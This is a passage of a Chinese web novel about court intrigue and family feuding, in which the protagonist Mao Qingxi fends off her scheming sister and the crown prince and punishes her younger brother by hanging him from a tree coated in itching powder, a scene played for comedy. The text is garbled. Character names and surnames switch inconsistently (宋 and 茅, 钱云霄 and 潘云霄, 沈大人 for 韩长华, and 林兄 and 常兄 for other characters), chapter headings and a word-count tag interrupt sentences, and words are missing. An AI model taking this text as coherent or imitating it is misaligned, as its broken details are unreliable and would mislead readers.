这日,太子钱云霄忽然登门。 与他同来的,还有茅暮暮。 茅清兮平日除了教导茅飞羽,便是自己翻阅医书,钻研药理。 钱云霄和茅暮暮抵达时,冀容白刚服过汤药,正在里屋小憩。 绿绿正要入内通禀,却被茅清兮拦住。 “我去吧。” 她没让绿绿惊动冀容白。 钱云霄见她出来,脸上立刻堆起笑容,语气熟稔: “清兮。” 身旁的茅暮暮听到这称呼,脸色微变,眼神闪烁不定,指尖也因用力而微微泛白。 “太子殿下。” 茅清兮敛衽行礼,神色平静,看不出丝毫情绪波动。 “容白这段时间,身子可好些了?” 钱云霄语气关切,仿佛真的对冀容白的身体状况极为上心。 “劳殿下挂心,夫君他……” 茅清兮略微停顿,才缓缓开口: “已无大碍。” 钱云霄闻言,似是松了口气,又道: “父皇这些日子也惦念得紧,特意让孤送来些人参补品,以示关怀。” 他指了指身后随从捧着的几个精致锦盒,示意那是御赐之物。 “孤还是想亲眼看看容白,才好放心回禀父皇。” 茅清兮眉头微蹙。 “夫君近日身体虚弱,多在昏睡,只怕……不便见客。” 她委婉地拒绝,试图阻止钱云霄。 “那孤更该去看看了。” 钱云霄却坚持要探望,不容置喙。 茅清兮心中疑虑更甚,却也无法再三阻拦,只得引他入内。 “清兮姐姐,”茅暮暮突然开口,声音轻柔,“我就不进去了,省得打扰了宓爷休息,反而不美。” 茅清兮看了她一眼,眼神意味不明,却也没说什么,转身进了屋。 屋内光线昏暗,药香弥漫。 钱云霄行至床边,撩开层层叠叠的鲛绡帐幔。 只见冀容白面色苍白如纸,双目紧闭,呼吸微弱,似在沉睡。 他眸光微闪,像是在确认什么,又细细询问起冀容白的病情,言辞恳切。 茅清兮猜不透他此行目的,只将冀容白的病情往严重里说,句句不离“凶险”二字。 钱云霄听罢,神色愈发凝重。 他叹了口气,临走时再三叮嘱茅清兮务必好生照料,缺什么少什么只管报到太子府,定会全力满足。 他这番作态,当真称得上仁德爱下,若是不知内情,恐怕真会以为他对臣子关怀备至。 但茅清兮却心如明镜。 他这一趟,怕是来确认冀容白的死活吧? 钱云霄,你当真如此迫不及待? 她心中冷笑。 自花朝节宁王一脉遭受重创,虽说太子也没占到多少便宜,却也一直在暗中筹谋。 近来,太子与宁王在朝中争斗不断,明争暗斗,此消彼长。 如今,太子是急于将鹰羽卫这股势力攥在手中了吗? 若真是如此,只怕太子已被宁王逼得走投无路了。 “对了,” 即将走出房门时,钱云霄忽然停下脚步,像是猛然想起什么似的,语气随意地问道: “孤听闻令弟身子抱恙?孔首辅还特意向孤提及此事,说他已许久未来书院了。” 茅清兮眉头一皱。 钱云霄怎会知晓茅飞羽之事? 是孔首辅告知?还是茅暮暮多嘴? 她心中飞快地思索着各种可能。 没等茅清兮开口,屋外突然传来一阵撕心裂肺的哭喊: “二姐救我!你快带我离开这鬼地方!茅清兮她简直不是人,她简直要把我虐废了!” 这声音…… 茅清兮脸色骤变,飞速冲了出去。 只见茅飞羽像只树袋熊般,死死抱住茅暮暮的手臂,鼻涕眼泪糊了一脸,声音凄厉: “二姐,只有你疼我,带我回去呗,我再也不想呆这鬼地方了!茅清兮她简直就是个魔鬼,天天逼着我读书,我快要被她逼疯了!” 茅暮暮显然没料到茅飞羽会突然来这么一出。 她被吓了一跳,但很快,眼中闪过一丝难以掩饰的喜色。 茅暮暮连忙扶住他,故作惊讶地问道: “飞羽,这是怎么了?你且慢慢说,茅清兮她……究竟如何为难你了?” “她还罚我,不给饭吃,还打我!呜呜呜,二姐,我真的受不了了!” 茅飞羽继续夸大其词。 他眼角余光瞥见茅清兮走出,非但没有收敛,反而哭喊得更大声了。 仿佛要把这些日子的委屈全都宣泄出来。 哭喊声中,茅飞羽偷偷的看了一眼茅清兮,茅清兮的视线如寒冰,冻得他一哆嗦。 他今天豁出去了,必须马上溜出这里。 “姐姐怎能如此对你?走,跟二姐回家!” 茅暮暮这次是真的担心起来了。 自己这个弟弟,从小娇生惯养,哪里吃过这种苦头? 若是真被茅清兮折磨出个好歹,那还了得? 茅暮暮原本还想借机看看茅飞羽在茅清兮手底下吃了多少苦头。 若是茅飞羽受了重伤,被太子瞧见,定能让太子对茅清兮心生不满。 而她这个做姐姐的,及时出现,关怀备至,定能与茅清兮形成鲜明对比。 可谁知,茅飞羽竟是这般模样。 不过,听到茅飞羽对茅清兮的控诉,茅暮暮心中还是暗自得意。 她扶着茅飞羽,走到茅清兮和钱云霄面前。 “姐姐,飞羽可是咱们宋家的独苗,父亲生前最是疼爱他。如今父亲不在了,你怎能如此苛待他?” 茅暮暮声泪俱下,仿佛受了天大的委屈。 “飞羽自幼聪慧,是老爹一手调教出来的,后来又拜入孔首辅门下,前途无量。你将他拘在这里,动辄打骂,万一耽误了他的学业,你让父亲如何瞑目?” 茅清兮冷冷地看着她,眼神中没有一丝温度。 “看来上次给你的教训还不够,竟敢跑到我面前来搬弄是非。” 茅暮暮脸色一白,身体不自觉地颤抖了一下。 上次被茅清兮鞭打的伤痕,至今还隐隐作痛。 她对茅清兮恨之入骨。 “姐姐,你打我可以,但飞羽他还小,你不能这般对他!” 茅暮暮强忍着心头的恐惧,继续装出一副姐妹情深的模样。 “飞羽读书用功,你却将他拘在这里打骂责罚,这岂不是耽误他的前程?” 钱云霄在一旁看着,眉头紧锁。 孔首辅是太子一党,茅飞羽拜入其门下,将来便是他的人。 为太子太傅考虑,他都不能坐视不理。 更何况,茅飞羽还是宋家的独子。 “清兮,到底什么情况?” 钱云霄沉声问道。 “飞羽的学业,理应由孔首辅和书院的先生们负责。即便因故无法前往书院,也该由太傅亲自教导。你一个女子,怎能随意插手?” “是啊,姐姐,” 茅暮暮见太子开口,立刻接话,语气中带着几分得意: “你看飞羽这些日子都瘦成什么样了? 第一百零八章 你不心疼,我这个做姐姐的还心疼呢!今日我无论如何也要带飞羽回去,好好给他补补身子,决不能再让他受苦了。” “茅飞羽,” 茅清兮没有理会他们,只是冷冷地唤了茅飞羽一声。 “你自己说,这些日子,我是如何教导你的。” 茅飞羽身子一挺,下意识地朝茅清兮走近两步。 这些时日,他已被茅清兮训得服服帖帖,听到她冷冽的声音,便条件反射般地遵从。茅暮暮几乎是下意识地想把茅飞羽护在身后,却不料茅飞羽一个闪身,竟躲开了她的触碰。她指尖一空,怔愣片刻,随即又换上一副温柔的姿态,紧紧攥住茅飞羽的手腕, “飞羽,别怕。有太子殿下在,他定会为你做主的。” 话音未落,她已抬眸望向钱云霄,眸光流转间,少女怀春的心思展露无遗。 然而,钱云霄的视线却始终落在茅清兮身上,语气温和得像三月的春风,仿佛刚才的不快全然没有发生: “清兮,若你担心飞羽的学业,让他来明德殿陪读如何?孤可安排最好的太傅教导。” 明德殿? 茅暮暮心头一紧。 那可是内阁重臣们传道授业的圣地,教导的是储君,汇聚了大晋最顶尖的师资。 若是茅飞羽在陆府,或是在青云书院,她都还能寻到机会插手管教,设法让他“学无所成”。 可明德殿…… 那是她无论如何也无法触及的地方,一旦茅飞羽踏入,便如断线的风筝,再难掌控。 “跟着太子殿下学习,自然是再好不过。” 她急忙开口,面上带着笑,语气却透着几分不容置疑的强硬: “只是飞羽,你须得做好吃苦的准备。进宫不比在家中或是书院,寅时便要入宫门,事事以太子殿下为先,可不能再任性了。” 茅暮暮一边说着,一边暗暗观察茅飞羽的神色。 她太了解这个弟弟了,几乎是他肚子里的蛔虫。 这些年,她和骆芸有意无意地娇纵着,将他养成了一副空架子。 表面瞧着稳重懂事,实则遇事便慌,毫无担当,最是吃不得苦。 茅暮暮心里很清楚,只有把茅飞羽养成这般模样,将来他继承了安阳侯府,才能被自己牢牢捏在手心里,让整个侯府都成为她的助力。 因此,无论如何,茅飞羽绝不能踏入明德殿半步。 果不其然,她这番话一出口,茅飞羽的眉头便紧紧地蹙了起来,显然是被“寅时入宫门”几个字给吓住了。 然而,出乎茅暮暮意料的是,茅清兮竟毫不犹豫地拒绝了钱云霄的提议,没有半点推脱客气。 “多谢太子殿下好意,臣妇的弟弟,臣妇自会教导。” 茅清兮的声音清冷,带着不容置喙的决绝,显然是吃了秤砣铁了心。 茅暮暮悬着的心稍稍放下,可随即,又涌上一股难以言喻的恼怒。 她忍不住轻笑出声,带着几分嘲讽,试图用激将法: “姐姐?姐姐打算如何教导飞羽?我记得,姐姐似乎连一本完整的书都不曾读过,莫不是要教飞羽背那《三字经》?或者,女红?” 茅飞羽嘴唇微动,似乎想说些什么。 他想告诉茅暮暮,茅清兮有过目不忘的本事,根本无需将整本书读完,她随便翻翻就能倒背如流。 可话到嘴边,又被他生生咽了回去。 若是开口,岂不是帮着茅清兮说话? 他才不要,他巴不得茅清兮出丑。 茅暮暮将他的反应看在眼里,眸中讥诮之色一闪而过,面上却依旧维持着温柔的笑容,循循善诱: “姐姐,不如还是让飞羽随我回去吧。我保证,定会将我所学倾囊相授,绝不耽误飞羽的课业,让他和姐姐一样"博学"。” “你?” 茅清兮忽然上前一步,逼近茅暮暮,语气中满是轻蔑,每个字都像淬了毒的刀子: “你有啥能耐教他?教他如何剽窃他人诗作,沽名钓誉?还是教他如何口是心非,阳奉阴违,变得和你一样虚伪?茅暮暮,你这般诗品有亏、德行败坏之人,也配为人师表?你有什么脸面站在我面前?” 茅暮暮的脸色“唰”地一下变得煞白。 听雨阁那件事,是她心头的一根刺,拔不出,咽不下。 她费尽心思,才勉强将此事压下,本以为早已风平浪静。 可如今,茅清兮竟当着太子的面旧事重提,这无疑是将她推向了风口浪尖,让她颜面尽失! 她的脸色一阵青一阵白,变幻不定,像是打翻了的调色盘,最后定格在一片惨白。 “呵。” 茅清兮冷笑一声,不再看她,转而将目光投向了茅飞羽,带着几分戏谑: “茅飞羽,你不是一直想摆脱我吗?现在机会来了,你当真要跟她回去?” 明明是再寻常不过的问话,可落在茅飞羽耳中,却无端让他感到一阵毛骨悚然。 他浑身的汗毛都竖了起来,像是一只受惊的小兽,汗水浸湿了里衣。 那些被茅清兮“教训”过的惨痛经历,如潮水般涌上心头,让他控制不住地打了个寒颤。 他张了张嘴,想说些什么,可一对上茅清兮冰冷的视线,喉咙像是被什么东西扼住了,发不出半点声音。 他想逃,想像往常一样躲到茅暮暮身后。 可是……他不敢动。 他怕自己一动,等待他的便是更可怕的“教训”。 茅飞羽猛地甩开茅暮暮的手,双膝一软,险些跪倒在地。 他勉强稳住身形,结结巴巴地开口,声音里带着明显的颤抖: “我……我……” 茅暮暮回过神来,连忙伸手去扶他,急切地说: “飞羽,你别怕,跟姐姐说实话!告诉太子殿下,你不想留在这里!” 她一边说着,一边偷偷觑了钱云霄一眼。 见钱云霄眉宇间也流露出几分不赞同,她心中暗自得意,觉得胜券在握。 茅清兮平日里嚣张跋扈惯了,早已在众人心中留下了“残暴”的印象。 今日,只要茅飞羽在太子面前哭诉几句,再添油加醋一番,整个京城都会知道茅清兮是如何虐待自己亲弟弟的。 到时候,看她还如何立足,如何在京中贵妇圈子里混! 茅暮暮满怀期待地看向茅飞羽,觉得他一定会按照自己所想的那样去做。 然而,茅飞羽接下来的举动,却让她大跌眼镜。 茅飞羽与茅清兮的目光一对上,便像是被点了穴道一般,僵在了原地。 他怕,怕到了骨子里。 “飞羽……” 茅暮暮见他迟迟不开口,不禁有些着急,声音也提高了八度。 “够了。” 茅清兮冷冷打断了她的话,语气里透着不耐烦: “太子殿下,臣妇管教弟弟,似乎与你无关,这是臣妇的家事。 第一百零九章 至于我如何教导弟弟,就不劳殿下费心了。俞霜,送客。” “这……” 茅暮暮还想再说些什么,却被茅清兮凌厉的眼神给堵了回去。 “太子殿下,飞羽他……他不想留在这里,是茅清兮强迫他的。恳请殿下定夺,让臣女带他回去,臣女定会好好照顾他。” 她咬了咬牙,仍是不肯放弃,试图做最后的挣扎。 茅清兮看向茅飞羽,唇角勾起一抹似笑非笑的弧度,慢条斯理地开口,仿佛在逗弄一只不听话的小猫: “飞羽,你不是很想离开我吗?怎么,现在改主意了?你当真想回去?和你的好姐姐一起?” 茅飞羽膝盖一软,差点又跪下去。 他张了张嘴,想硬气地说一句“是”,可一对上茅清兮那双幽深的眸子,所有的话便都卡在了喉咙里,像是吞了一块烧红的炭。 他不敢。 他若是真敢跟着茅暮暮回去,茅清兮定会追到陆府,把他五花大绑地拎回来,再狠狠地“教训”他一顿。 到时候,他就算被打死了,也没地方说理去,只能打落牙齿和血吞。 “不,我不回去。我……我要留下,和姐姐一起。” 茅飞羽猛地挺直脊背,像是拨浪鼓似的摇着头,声音虽然不大,却异常坚定。 茅清兮笑了,笑得意味深长,像是得胜的将军: “飞羽跟我是一母同胞,我怎会舍得打他?殿下您瞧,他本人也愿意待在这,这便说明,他最喜欢的还是我这个亲姐姐。我们姐弟情深,旁人是挑拨不了的。” 茅飞羽嘴角抽搐,想反驳,却又不敢,只能硬生生憋了回去。 茅暮暮难以置信地瞪大了眼睛,她怎么也没想到,茅飞羽竟然会临阵倒戈,弃她于不顾。 茅清兮却已没了耐心再与她虚与委蛇,直接下了逐客令。 “俞霜,送客。” 她冷声吩咐,不带一丝感情。 俞霜走到茅暮暮面前,做了个“请”的手势,态度恭敬却不容置疑: “茅二小姐,请吧。” 茅暮暮恨恨地剜了茅清兮一眼,又将视线转向了俞霜,心中更是怒火翻涌。 她恨不得将眼前这两个人都碎尸万段。 可当着太子的面,她只得强压下怒火,勉强维持着表面的温柔,一步三回头地走了出去,每一步都走得不甘不愿。 待茅暮暮的身影消失在院门口,茅清兮脸上的笑意瞬间敛去,取而代之的是一片冰冷,如寒冬腊月的冰霜。 茅飞羽如临大敌,浑身止不住地颤抖起来,连牙齿都开始打颤,像是筛糠一般。 “姐,姐姐……我错了,我真的错了……别罚我……” 他结结巴巴地求饶,声音里带着哭腔,希望能够唤起茅清兮的一丝怜悯。 然而,茅清兮只是冷冷地看着他,没有说话。 “紫姨,我记得前些日子,我研制过一款痒痒粉,可还留着?” 茅清兮忽然开口,语气平淡,却让茅飞羽的心瞬间沉到了谷底。 紫姨应声而去,很快便取来了一个白玉小瓶,上面雕刻着精致的花纹。 茅飞羽一见那瓶子,顿时吓得魂飞魄散,脸色惨白如纸。 他再也顾不得其他,双腿一软,跪倒在地,试图用哀求来打动茅清兮: “姐姐,我错了,我不该惹你生气,我保证以后不会犯了,你就饶了我这一次吧……” 茅清兮没有理会他的哀求,只是示意紫姨将那痒痒粉拿过来。 她接过白玉小瓶,缓缓走到茅飞羽面前,居高临下地看着他,眼神冰冷得没有一丝温度。 “知道这是什么吗?” 她轻轻晃了晃手中的瓶子,声音轻柔得像是情人的呢喃,可说出的话却让茅飞羽不寒而栗。 “这可是我精心研制的痒痒粉,无色无味,却能让人奇痒难耐,生不如死。你不是喜欢惹我生气吗?今天,我就让你好好尝尝它的滋味。” 茅飞羽吓得连连摇头,眼泪鼻涕糊了一脸: “不,不要,姐姐,我是真的醒悟了,我再也不敢了,求你放过我吧……” 茅清兮不为所动,她捏住茅飞羽的下巴,强迫他抬起头来。 然后,她打开瓶盖,将里面的粉末,一点一点地倒在了茅飞羽的身上,动作轻柔而缓慢,像是在欣赏一件艺术品。 “啊——!” 茅飞羽发出一声凄厉的惨叫,身体剧烈地挣扎起来,像是一条被扔上岸的鱼。 细密的粉末顺着他的肌肤滑落,所过之处,都留下了一道道红色的痕迹。 很快,那种难以忍受的瘙痒感便席卷了他的全身,让他恨不得将自己的皮都抓破。 他被吊在半空中,身体不受控制地扭动着,口中发出阵阵难以抑制的,声音嘶哑而绝望。 他想伸手去挠,可双手却被死死绑住,动弹不得,只能任由那种瘙痒感啃噬着他的每一寸肌肤,每一根神经。 太痒了! 简直比杀了他还要难受! 这种感觉,比他之前经历过的任何一种惩罚都要可怕! 他感觉自己快要疯了! 他发誓,以后再也不敢跟茅清兮作对了! 茅清兮简直就是个魔鬼! 她怎么能想出如此歹毒的法子来折磨人? 这简直是生不如死! 不,比死还要痛苦百倍! 茅清兮对他的惨状视若无睹,将他独自留在院中,任由他挣扎哭喊,自己则径自回了书房。 茅飞羽的哭喊声、求饶声、咒骂声,在院子里回荡,一声比一声凄厉,一声比一声绝望。 可渐渐地,他的声音越来越小,越来越嘶哑。 一个时辰后,他几乎已经发不出任何声音了,只能像一条死鱼一样,挂在树上,任由那种瘙痒感将他折磨得不成人形。 冀容白斜倚在轮椅上,眼皮低垂,神色恹恹,面色惨白得像纸一样,像是终年不见阳光的植物。 他缓缓推着轮椅,从屋内出来,漫不经心地打了个哈欠,似乎对什么都提不起兴趣。 忽然,一阵若有若无的声传入他的耳中。 他微微皱眉,循声望去,便瞧见了被吊在树上,形如枯槁的茅飞羽。 冀容白顿时来了精神,他好奇地睁大了眼睛,像是发现了什么有趣的事情: “呦,这是怎么了?这小子又惹事了?” 墨川不敢隐瞒,一五一十地将先前发生的事禀告给了冀容白,包括茅清兮如何“教训”茅飞羽。 冀容白听完,脸色刷地一下白了几分,额头上渗出了一层细密的冷汗。 他忍不住想象了一下,若是这痒痒粉用在了自己身上,那会是怎样一种生不如死的体验…… 嘶! 他猛地打了个寒颤,光是想想,就觉得浑身不自在,像是有一万只蚂蚁在身上爬。 第一百一十章 视线渐渐模糊,茅飞羽隐约看到树下的冀容白,正饶有兴致地看着自己,口中还发出“啧啧”的声音,像是在看戏。 他顾不得害怕,像是抓住了救命稻草一般,声嘶力竭地喊道: “姐夫……姐夫救我!我好难受……”茅清兮正在书房里批改茅飞羽的作业,笔尖在纸上划过,留下一道道朱红的痕迹。窗外的风轻轻掠过,带来几片落叶,打破了屋内的宁静。 忽然,一阵轮椅滚动的声响传来,她回过头,映入眼帘的是冀容白苍白的面容。 “你怎么醒了?”她蹙眉,目光中带着几分责备,“太子殿下刚来过。” 冀容白推着轮椅进来,面上带着几分倦意,语气却依旧漫不经心:“嗯,他是来看我死了没有。” 茅清兮放下手中的毛笔,眉头微蹙。太子这个时候来访,必然不是单纯的探病。她直视着冀容白的眼睛:“此刻他竟然来探望你,发生什么状况了?” “娘子真聪明。”冀容白唇角微扬,眼底却闪过一丝阴霾,“云陲战事又起,他想调动鹰羽卫过去。” 茅清兮眸光一凝,手指无意识地摩挲着桌面。鹰羽卫是冀容白一手带出来的精锐,只听他一人号令。两年前冀容白中毒后,鹰羽卫也跟着回了京城。这支驻扎在京郊的精锐,早就成了各方势力觊觎的对象。 如今云陲战事再起,正好给了太子调动鹰羽卫的借口。她望向冀容白,发现他正若有所思地看着窗外。 “想去鹰羽卫军营看看吗?”冀容白忽然转头问道,目光灼灼。 茅清兮眼前一亮,脸上浮现出期待的神色:“可以吗?” “当然。”冀容白的声音带着一丝温柔。 他看着她明亮的眸子,心底泛起异样的悸动。轮椅缓缓向前,靠近了些,目光落在她清丽的面容上。阳光透过窗棂洒在她的侧脸,勾勒出一道柔和的轮廓。 茅清兮疑惑地眨了眨眼,不明白他为何忽然靠得这么近。 冀容白轻叹一声,缓缓往后退开。他的目光掠过书案上的作业本,忽然想起一事:“对了,小舅子求我替他说情。”他转移话题,唇角带着笑意,“娘子看在为夫面子上,放过他这一次?” 茅清兮冷哼一声,眼中闪过一丝戏谑,但还是点了头。 不久后,茅飞羽被从树上放了下来。他浑身发痒,狼狈不堪地被送去泡冷水澡。直到身上的痒痒粉总算解了,他才长舒一口气。 从那以后,茅飞羽对茅清兮的态度来了个一百八十度大转变。以前是厌恶,现在是发自内心的害怕。每次看到姐姐,他都忍不住回想起被吊在树上的痛苦经历。 茅清兮一个眼神扫过来,他顿时吓得六神无主,恨不得找个地缝钻进去。反倒是对冀容白,因为帮他求过情,心存感激。每次见到姐夫,都会主动打招呼,态度恭敬。 几日后的清晨,一封烫金请帖送到了府上。打开一看,是清韵公主邀请茅清兮去郊外跑马。 紫姨站在一旁,看着茅清兮读完请帖,建议道:“小姐,不如带上少爷一起去?公子哥儿正值玩乐的黄金岁月,一直拘在屋里读书,怕是要憋坏了。” 茅清兮想了想,目光落在正在院子里练字的茅飞羽身上。这段时间他确实很用功,态度也端正了不少。她轻轻点头:“也好。” 到了长公主府,清韵已经骑在马上等着。她胯下是乐雅书送的那匹汗血宝马,通体乌黑发亮,神骏非常。见到茅清兮到来,清韵冲她挑眉道:“我们骑马过去?” “好。”茅清兮利落地翻身上马,裙摆在风中轻扬。 “等等,还有一个人。”清韵忽然说道,目光望向府门外。 一辆普通的马车停在那里,车帘轻轻掀开,一个清瘦的书生从里面走出来。他身着青衫,面容清俊,正是韩长华。 “沈大人懂得骑术否?”茅清兮看着他问道。 韩长华微微欠身,声音温和:“臣不会。” “那就和清兮弟弟一起坐马车吧。”清韵笑道,语气中带着几分不易察觉的关切。 韩长华低头应是,安静地上了马车。茅飞羽虽然有些不情愿,但也不敢违背公主的意思,跟着上了车。 茅清兮看着清韵的背影,眉头微蹙。清韵最讨厌男子,为何会带上韩长华?而且一个不会骑马的书生,来郊游作甚? 她摇摇头,不再多想,策马跟上了清韵的步伐。马蹄声在青石板上回响,渐渐远去。 春日的阳光洒在大地上,微风拂过树梢,带来阵阵花香。马车在官道上缓缓前行,车厢里,韩长华安静地看着手中的书卷,而茅飞羽则偷偷打量着这位大名鼎鼎的沈大人。 前方,清韵和茅清兮并骑而行。清韵似乎心情很好,不时和茅清兮说笑。但茅清兮总觉得她今日有些不同,那双明亮的眼睛里,似乎藏着什么心事。 一行人向着郊外而去,春光明媚,草长莺飞。谁也没注意到,在他们身后不远处,几个黑衣人悄然跟随,目光阴冷地注视着这一切。 “章节字数”:4186“吁——” 骏马嘶鸣,前蹄高高扬起,又重重落下。 茅清兮和清韵公主几乎同时勒紧缰绳,两匹通人性的骏马,稳稳地停在了京城熙攘的大街上。 大晋律法森严,城内主干道上,严禁纵马疾驰,违者必究。 即便两人恨不得立刻飞出城外,此刻也只能按捺住性子,随着人流缓缓前行,不敢造次。 “沈大人,咱们这趟出门,到底要去哪儿啊?” 狭窄的车厢内,茅飞羽百无聊赖,只得有一搭没一搭地跟对面的韩长华搭话。 好不容易逮着机会出府一趟,他可不想憋屈在这方寸之地。更何况,对着茅清兮时他不敢放肆,如今逮着机会,自然要好好活动活动。 “不知。” 韩长华眼皮都懒得抬一下,惜字如金。 茅飞羽暗自撇嘴,觉得无趣,但转念一想,又换了个话题。 然而,几番言语试探下来,他算是彻底放弃了。 这位沈大人,简直比茅坑里的石头还难沟通,满口规矩法度,无趣得紧。 张口律法,闭口规矩,听得茅飞羽脑仁疼。 茅飞羽甚至开始怀疑,这位沈大人是不是被律法给洗脑了,满脑子除了规矩,再无其他。 无声地翻了个白眼,茅飞羽“唰”地一下掀开车帘,想看看外头的热闹景象。 可入眼的,仍旧是熟悉的街道,以及两侧商家千篇一律的叫卖声,实在提不起什么兴致。 第一百一十一章 目光随意一扫,他忽然瞥见了前方不远处的茅清兮。 不知怎的,茅飞羽心里咯噔一下,像是做了什么亏心事似的,忙不迭地移开了视线。 这些日子,茅清兮的“雷霆手段”,他可是见识过的,心里怕得要死,哪还敢多看一眼? 即便如此,他心中,仍旧憋着一口闷气。 他一直在等,等父亲扶棺归来的那一天。 到那时,父亲定会护着他,谁也别想再欺负他!茅清兮也不行! 想到这儿,茅飞羽暗暗攥紧了拳头,指节因为用力而微微发白。 “等我爹回来……看我怎么收拾你!” 他在心底咬牙切齿地诅咒着,丝毫没有注意到周围环境的变化。 “轰隆——” 突然间,马车剧烈地摇晃起来。 拉车的马匹像是受了惊吓,猛地扬起前蹄,发出一声嘶鸣。 “聿——” 周围一片惊呼,行人纷纷躲避。 车夫死死拽住缰绳,试图控制住发狂的马匹,额头上渗出豆大的汗珠。 可这畜生一旦发起狂来,哪里还听得进半点人话? 眼看着,马车就要直挺挺地撞上路边那间金碧辉煌的首饰铺子。 车夫吓得魂飞魄散,心都快从嗓子眼里跳出来了。 “嗖——” 千钧一发之际,一道鲜红的身影如闪电般掠过。 只听得“啪”的一声脆响,鞭子精准地卷住马头。 “聿!” 疯马吃痛,前蹄重重落地,堪堪停在了铺子门前,险之又险。 车夫如释重负,感觉像是从鬼门关走了一遭,浑身都湿透了。 茅清兮翻身下马,脸色铁青,冷冷地望向前方。 只见一行人,身着飞鱼服,腰挎绣春刀,纵马穿街而过,带起一路烟尘。 为首之人,面容冷峻,眼神锐利如刀,仿佛这世间万物,都入不了他的眼。 所经之处,行人纷纷避让,生怕惹上麻烦。 直到这队人马走远,街道上才渐渐响起低低的议论声。 “这是……锦衣卫?”有人低声问。 “噤声!你想找死吗?”旁边的人连忙制止。 “这帮人,也太霸道了……”有人小声抱怨。 “谁让人家有权呢?侦察、逮捕、审问……谁敢惹?”有人叹息。 “听说圣上当年刚登基那会儿,还很忌惮东厂和锦衣卫呢……” “可如今呢?还不是越来越倚重他们?” “唉,这世道……” 窃窃私语中,充满了对锦衣卫的忌惮与无奈。 清韵公主气得柳眉倒竖,杏眼圆睁,指着那群人消失的方向,破口大骂: “潘云霄!你竟敢惊扰本公主的马车,等我回宫,定要让皇舅舅好好治你的罪!” 她可不管什么锦衣卫不锦衣卫的,从小到大,除了皇上,她还没怕过谁。敢惹到她头上,绝对没有好果子吃! 茅清兮没有说话,只是微微眯起了眼睛,若有所思。 她想起了不久前,在皇庄别院遭遇的那场刺杀。 自那之后,圣上对锦衣卫的态度,似乎就变得有些微妙了。 潘云霄敢如此肆无忌惮,恐怕也是得了圣上的默许。 锦衣卫得势,只怕这朝堂之上,又要掀起一场腥风血雨。 不过,只要他不站在太子那边,自己就暂时不用太过担心。 出了城,几人终于可以放开缰绳,策马奔腾。 清韵公主率先冲了出去,马鞭挥舞的呼呼作响。 “沈大人!我和清兮先走一步,我先溜达过去等着!” 她高声喊着,声音清脆,在空旷的官道上远远传开。 韩长华坐在马车里,只微微点了点头,示意自己知道了。 清韵公主见状,也不再多言,只是转头看向茅清兮,眼中闪过一丝兴奋的光芒。 “驾!” 两人几乎同时扬鞭催马,骏马吃痛,立刻加速。 一红一白两道身影,如离弦之箭般,向前飞驰而去,转眼间就消失在了官道的尽头。 马车内,茅飞羽呆呆地望着她们远去的背影,心里别提有多郁闷了。 “她们……这群人直接把我们甩在这里不管了?” 他气得一拳捶在车壁上,发出“咚”的一声闷响,仿佛要把心中的不满都发泄出来。 韩长华依旧气定神闲,语气平淡:“公主与冀少夫人,自会在前方等候。” “问题是我压根不会骑马啊!”茅飞羽越说越气,“她带我出来,难道就是为了让我看她骑马,给她加油助威的?” 茅清兮不在,他的胆子也大了几分,开始口无遮拦地抱怨起来。 他觉得自己简直就是个笑话,被茅清兮耍得团团转。 他这边正自顾自地生着闷气,浑然不觉对面的韩长华,已经从怀中取出了一本书,旁若无人地看了起来。 茅飞羽见状,更是觉得无趣至极,赌气般地下了马车。 他“腾”地一下跳下马车,重重地坐到了车夫身旁,和车夫挤在一起。 他想过要打道回府,可又担心茅清兮回来后找他算账,一时之间,竟不知如何是好。 “哒哒哒……” 就在这时,身后突然传来一阵急促的马蹄声,打断了他的思绪。 茅飞羽心头一动,下意识地回头望去。 “二姐夫!” 看清来人,他顿时喜出望外,忙不迭地站起身,朝对方挥手,激动地喊道。 刁明远勒马停下,看清茅飞羽的面容,眼中闪过一丝诧异,显然没想到会在这里遇到他: “飞羽?你怎么会在这里?” “我是跟着姐混出来玩的。”茅飞羽想也没想,脱口而出。在他心里,能被称作“姐”的,自然是与他最亲近的茅暮暮。 “二姐夫,你呢?你这是要去哪儿?也是出来透透气吗?”茅飞羽好奇地问道。 “我……”刁明远的脸色微微一变,眼神也有些闪烁,似乎有什么难言之隐。 “我是与乐公子,一道出来散散心。”他轻描淡写地说道,试图掩饰自己的真实情绪。 最近这段时间,他心里一直很乱。 原本与茅暮暮的婚事,是板上钉钉的事。 可宋老夫人过世,一切都变了。 茅暮暮来信说要守孝,婚期推迟,甚至可以解除婚约。 刁明远本以为自己会很难过,可事实上,他却感到了一丝解脱。 他甚至不明白,自己究竟是不想和茅暮暮成亲,还是,只是单纯地不想成亲。 至于他那位一直对这门婚事赞不绝口的父亲,更是让刁明远的心情雪上加霜。 “宋小公子,你方才说的姐姐,可是冀少夫人?” 乐雅书打断了刁明远的思绪。 茅飞羽点了点头:“是啊。” 刁明远的身体,瞬间僵硬如石,仿佛被一道闪电击中。 “林兄,可是家中真有什么急事?若是无事,咱们不妨再往前走走? 第一百一十二章 ” 乐雅书不动声色地观察着刁明远的反应,再次问道。 刁明远紧紧攥着缰绳,掌心微微出汗,心脏也开始不争气地狂跳起来。 “没,没什么要紧事。”他强自镇定,声音却有些发颤,“我陪常兄,再走一段便是。” 乐雅书笑了笑,笑容中带着几分意味深长。 “那便好。这初夏时节,景色宜人,若是错过了,岂不可惜?”“二姐夫……” 稚嫩的声音里,满是依赖。 刁明远猛地回过神,勉强扯出一丝笑意,抬手,似乎想揉一揉茅飞羽的头发,却又在半空中僵住,手指蜷缩,无处安放。 “飞羽,我……” 他顿了顿,喉结上下滑动,声音干涩,像被砂纸磨过。 “在我心里,你就是我未来二姐夫没跑了!迟早你得娶我二姐,肯定会!” 茅飞羽趴在车窗边,斩钉截铁地说着,一双眼睛亮晶晶的,盛满了对未来的憧憬。 只是,他还不懂这世间的人心险恶,世事无常。 刁明远苦笑,有些事,强求不来。 他张了张嘴,想告诉他,他和茅暮暮之间,隔着一道天堑,他跨不过去,茅暮暮也不愿过来。 可一对上茅飞羽那双纯真的眼,拒绝的话就再也说不出口,只能生生咽下。 “飞羽,你最近……在书院,功课如何?” 刁明远生硬地转移话题,眼神闪烁,不敢与他对视,怕泄露了心底的苦涩。 提到学业,茅飞羽果然立刻来了精神,小嘴叭叭个不停,像一只被打开了话匣子的小鸟: “别提了!我姐真是离谱到家了!她就是个活阎王!但凡有一篇课文背不出来,她就罚我跪在青石板上暴晒,让身边丫鬟轮番给我念!你说,这是不是存心让我出丑?二姐夫,你可得好好管管她!” 茅飞羽气鼓鼓地说着,小脸皱成一团,仿佛受了天大的委屈。 刁明远听得怔忪出神。 